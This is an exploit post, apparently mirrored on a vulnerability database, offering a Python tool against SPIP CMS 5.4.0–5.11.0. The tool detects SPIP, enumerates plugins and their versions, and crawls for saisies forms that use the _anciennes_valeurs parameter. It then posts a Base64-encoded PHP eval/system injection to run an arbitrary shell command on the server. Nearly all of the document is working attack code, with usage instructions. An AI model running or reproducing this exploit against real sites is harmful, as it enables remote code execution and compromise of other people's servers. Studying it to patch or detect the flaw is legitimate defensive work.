=============================================================================================================================================
| # Title : SPIP CMS Full Scanner – Version, Plugins Discovery & saisies Form Exploit PoC |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) |
| # Vendor : https://www.spip.net/en_rubrique25.html |
=============================================================================================================================================
[+] Summary : poc exploitation tool designed for websites running the SPIP CMS 5.4.0 through 5.11.0.
The tool performs automated detection and enumeration
of SPIP installations, identifies installed plugins, attempts to determine plugin versions, and searches for forms using the saisies plugin parameter _anciennes_valeurs.
The scanner first verifies whether the target site runs SPIP by analyzing page responses. It then attempts to determine the CMS version through common SPIP endpoints.
After confirming the platform, the script enumerates plugins using two techniques: directory listing (plugins/, plugins/auto/, plugins-dist/) and asset analysis from HTML resources such as JavaScript, CSS, and image paths.
Once plugins are identified, the script attempts to extract their versions by requesting plugin metadata files (paquet.xml or plugin.xml).
The tool then searches for pages containing forms that include the _anciennes_valeurs parameter associated with the saisies plugin. If such a form is found, the script sends a specially crafted payload containing a Base64‑encoded PHP command execution snippet as a proof‑of‑concept.
The purpose of the script is security testing and vulnerability research, allowing researchers to quickly map SPIP environments, enumerate plugins, and test for potential
server‑side command execution through improperly sanitized form parameters.
[+] Key Features:
Automatic SPIP CMS detection
SPIP version discovery
Plugin enumeration via directory listing and asset analysis
Plugin version extraction from metadata files
Recursive crawling to locate forms using the saisies plugin
Base64‑encoded PHP payload injection for PoC command execution testing
[+] POC : >python 1.py https://www.127.0.0.1.org id
#!/usr/bin/env python3
import requests
import re
import base64
import random
import string
import sys
from urllib.parse import urljoin
from bs4 import BeautifulSoup
FORM_PARAM = "_anciennes_valeurs"
COMMON_PAGES = [
"spip.php?page=contact",
"spip.php?page=formulaire",
"spip.php?page=plan",
"spip.php?page=feedback"
]
def rand_text(n=8):
return ''.join(random.choice(string.ascii_letters) for _ in range(n))
def is_spip(url):
try:
r = requests.get(url, timeout=10)
if "spip.php" in r.text or "SPIP" in r.text:
return True
except:
pass
return False
def detect_spip_version(url):
print("[*] Detecting SPIP version...")
paths = [
"spip.php?page=backend",
"spip.php?page=plan",
"spip.php"
]
for p in paths:
try:
r = requests.get(urljoin(url + "/", p), timeout=10)
if r.status_code != 200:
continue
m = re.search(r"SPIP\s*([0-9\.]+)", r.text, re.I)
if m:
version = m.group(1)
print("[+] SPIP version:", version)
return version
except:
pass
print("[-] Could not detect SPIP version")
return None
def discover_spip_plugins(base_url):
print("[*] Discovering SPIP plugins via directory listing...")
plugin_paths = [
"plugins/",
"plugins/auto/",
"plugins-dist/"
]
plugins = set()
for path in plugin_paths:
url = urljoin(base_url + "/", path)
try:
r = requests.get(url, timeout=10)
if r.status_code != 200:
continue
soup = BeautifulSoup(r.text, "html.parser")
for a in soup.find_all("a", href=True):
href = a["href"].strip("/")
if href and href not in ["..", "."]:
plugins.add(href)
except:
pass
if plugins:
print("[+] Plugins found via directory:")
for p in plugins:
print(" -", p)
else:
print("[-] No plugins found via directory")
return list(plugins)
def discover_plugins_from_assets(url):
print("[*] Detecting SPIP plugins from assets...")
plugins = set()
try:
r = requests.get(url, timeout=10)
if r.status_code != 200:
return []
soup = BeautifulSoup(r.text, "html.parser")
assets = []
for tag in soup.find_all(["script", "link", "img"]):
if tag.name == "script" and tag.get("src"):
assets.append(tag.get("src"))
if tag.name == "link" and tag.get("href"):
assets.append(tag.get("href"))
if tag.name == "img" and tag.get("src"):
assets.append(tag.get("src"))
for a in assets:
if "plugins" in a:
parts = a.split("/")
for i, part in enumerate(parts):
if part in ["plugins", "auto", "plugins-dist"]:
try:
plugin = parts[i+1]
plugins.add(plugin)
except:
pass
except:
pass
if plugins:
print("[+] Plugins detected via assets:")
for p in plugins:
print(" -", p)
else:
print("[-] No plugins detected via assets")
return list(plugins)
def detect_plugin_version(base_url, plugin):
files = [
f"plugins/{plugin}/paquet.xml",
f"plugins/{plugin}/plugin.xml",
f"plugins/auto/{plugin}/paquet.xml",
f"plugins/auto/{plugin}/plugin.xml",
f"plugins-dist/{plugin}/paquet.xml"
]
for f in files:
url = urljoin(base_url + "/", f)
try:
r = requests.get(url, timeout=10)
if r.status_code != 200:
continue
m = re.search(r'version="([^"]+)"', r.text)
if m:
return m.group(1)
except:
pass
return None
def saisies_form(url):
try:
r = requests.get(url, timeout=10)
if r.status_code == 200 and FORM_PARAM in r.text:
return True
except:
pass
return False
def extract_links(base, html):
links = []
soup = BeautifulSoup(html, "html.parser")
for a in soup.find_all("a", href=True):
href = a["href"].strip()
if any(href.lower().endswith(ext) for ext in [
".css",".js",".png",".jpg",".jpeg",".gif",".svg",".ico",".woff",".pdf",".zip"
]):
continue
full = urljoin(base, href)
links.append(full)
return list(set(links))
def crawl_for_form(base_url, max_pages=50):
seen = set()
queue = [base_url]
print("[*] Crawling for saisies form...")
while queue and len(seen) < max_pages:
url = queue.pop(0)
if url in seen:
continue
seen.add(url)
try:
r = requests.get(url, timeout=10)
except:
continue
if r.status_code != 200:
continue
if FORM_PARAM in r.text:
print("[+] Form found:", url)
return url
links = extract_links(url, r.text)
for l in links:
if l not in seen:
queue.append(l)
return None
def exploit(url, cmd):
php_payload = f"system('{cmd}');"
b64 = base64.b64encode(php_payload.encode()).decode()
tag = rand_text()
injection = f"{tag}' /><?php eval(base64_decode('{b64}')); ?><input value='{tag}"
data = {
FORM_PARAM: injection
}
print("[*] Sending PoC request to:", url)
try:
r = requests.post(url, data=data, timeout=10)
print("[*] HTTP Status:", r.status_code)
except Exception as e:
print("[-] Request failed:", e)
def main():
if len(sys.argv) < 3:
print("Usage:")
print("python spip_full_scan.py <target_url> <command>")
sys.exit()
base = sys.argv[1]
cmd = sys.argv[2]
print("[*] Checking if target runs SPIP...")
if not is_spip(base):
print("[-] Target does not appear to run SPIP")
return
print("[+] SPIP detected")
detect_spip_version(base)
plugins_dir = discover_spip_plugins(base)
plugins_assets = discover_plugins_from_assets(base)
plugins = list(set(plugins_dir + plugins_assets))
print("\n[*] Attempting to detect plugin versions...\n")
for p in plugins:
version = detect_plugin_version(base, p)
if version:
print(f"[+] {p} version: {version}")
else:
print(f"[-] {p} version not detected")
print("\n[*] Searching for saisies form...")
for p in COMMON_PAGES:
url = urljoin(base + "/", p)
if saisies_form(url):
print("[+] saisies form found:", url)
exploit(url, cmd)
return
form = crawl_for_form(base)
if not form:
print("[-] No saisies form found")
return
exploit(form, cmd)
if __name__ == "__main__":
main()
Greetings to :==============================================================================
jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
============================================================================================Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation